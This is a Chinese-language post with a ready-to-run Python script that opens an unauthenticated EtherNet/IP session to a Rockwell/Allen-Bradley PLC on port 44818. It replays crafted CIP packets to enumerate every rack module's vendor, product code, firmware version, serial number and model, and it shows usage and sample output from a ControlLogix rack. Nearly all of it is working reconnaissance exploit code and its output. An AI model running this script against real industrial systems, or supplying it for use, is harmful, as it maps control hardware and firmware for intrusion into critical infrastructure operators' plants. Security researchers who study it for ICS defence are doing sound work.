Rockwell/AB PLC 泄露机架模块脚本

Rockwell/AB PLC 的ENIP协议经过简单的构造session即可实现正常通信,通过抓取组态软件和PLC通信的数据包,找出读取架子信息的流量,构造遍历架子序号,即可泄露机架上的模块信息。

import socket,time,sys
s = socket.socket()
s.connect((sys.argv[1],44818))

def send(payload):
    s.send(payload.decode('hex'))
    time.sleep(0.1)
    return s.recv(1024)

def print_info(info,name):
    print "\n---------------- "+name+" info ----------------\n"
    print "vender  id    : " + info[0:2][::-1].encode("hex")
    print "devices type  : " + info[2:4][::-1].encode("hex")
    print "product code  : " + info[4:6][::-1].encode("hex")
    print "version       : " + str(int(info[6:7].encode("hex"),16))+'.'+str(int(info[7:8].encode("hex"),16))
    print "statue        : " + info[8:10][::-1].encode("hex")
    print "serial number : " + info[10:14][::-1].encode("hex")
    print "product name  : " + info[15:15+int(info[14:15].encode("hex"),16)]

def slot_info(idx,length):
    for i in range(length):
        payload = "6f002400"+session+"0000000049340000706824020000000000000000030002000000" + \
                  "0000b200140052022006240104b606000102200124010100"+str(hex(idx))[2:].zfill(2)+str(hex(i))[2:].zfill(2)
        info = send(payload)[44:]
        if len(info)< 5: continue
        print_info(info,"slot "+str(hex(i)))

def leak():
    slot = 0
    payload="6f001600"+session+"00000000395c00007068240200000000000000000a00020000000000b2000600010220f42400"
    info = send(payload)[44:]
    num_instance = int(info[2:4][::-1].encode("hex"),16)
    info = info[8:]
    for i in range(num_instance+1):
        port_type = int(info[i*4:i*4+2][::-1].encode("hex"),16)
        port_num = int(info[i*4+2:i*4+4][::-1].encode("hex"),16)
        if port_type == 1: 
            slot += 1
            # slot name
            payload="6f001600"+session+"000000003a5c00007068240200000000000000000a00020000000000b2000600010220f424"+str(port_num).zfill(2)
            print "rack "+str(slot)+" name  : "+send(payload)[55:]
            # slot number
            payload="6f001800"+session+"000000003b5c00007068240200000000000000000a00020000000000b20008000e0320f424"+str(port_num).zfill(2)+"3008"
            length =  int(send(payload)[46:47].encode("hex"),16)+1
            print "rack "+str(slot)+" lenth : " + str(length)
            slot_info(slot,length)

payload = '65000400000000000000000000000000000000000000000001000000'
session = send(payload)[4:8].encode("hex")
leak()

用法:

  python leak_rockwell.py 192.168.2.1
rack 1 name  : Backplane
rack 1 lenth : 7

---------------- slot 0x0 info ----------------

vender  id    : 0001
devices type  : 000e
product code  : 005c
version       : 30.11
statue        : 3160
serial number : 00cc2096
product name  : 1756-L71/B LOGIX5571

---------------- slot 0x1 info ----------------

vender  id    : 0001
devices type  : 000c
product code  : 00a6
version       : 10.7
statue        : 0030
serial number : 00d5a561
product name  : 1756-EN2T/D

---------------- slot 0x2 info ----------------

vender  id    : 0001
devices type  : 0007
product code  : 000b
version       : 3.4
statue        : 0030
serial number : 00d4b2d7
product name  : 1756-IB16/A   DCIN              

---------------- slot 0x3 info ----------------

vender  id    : 0001
devices type  : 0007
product code  : 0011
version       : 3.3
statue        : 0065
serial number : 00d3a251
product name  : 1756-OB32/A   DCOUT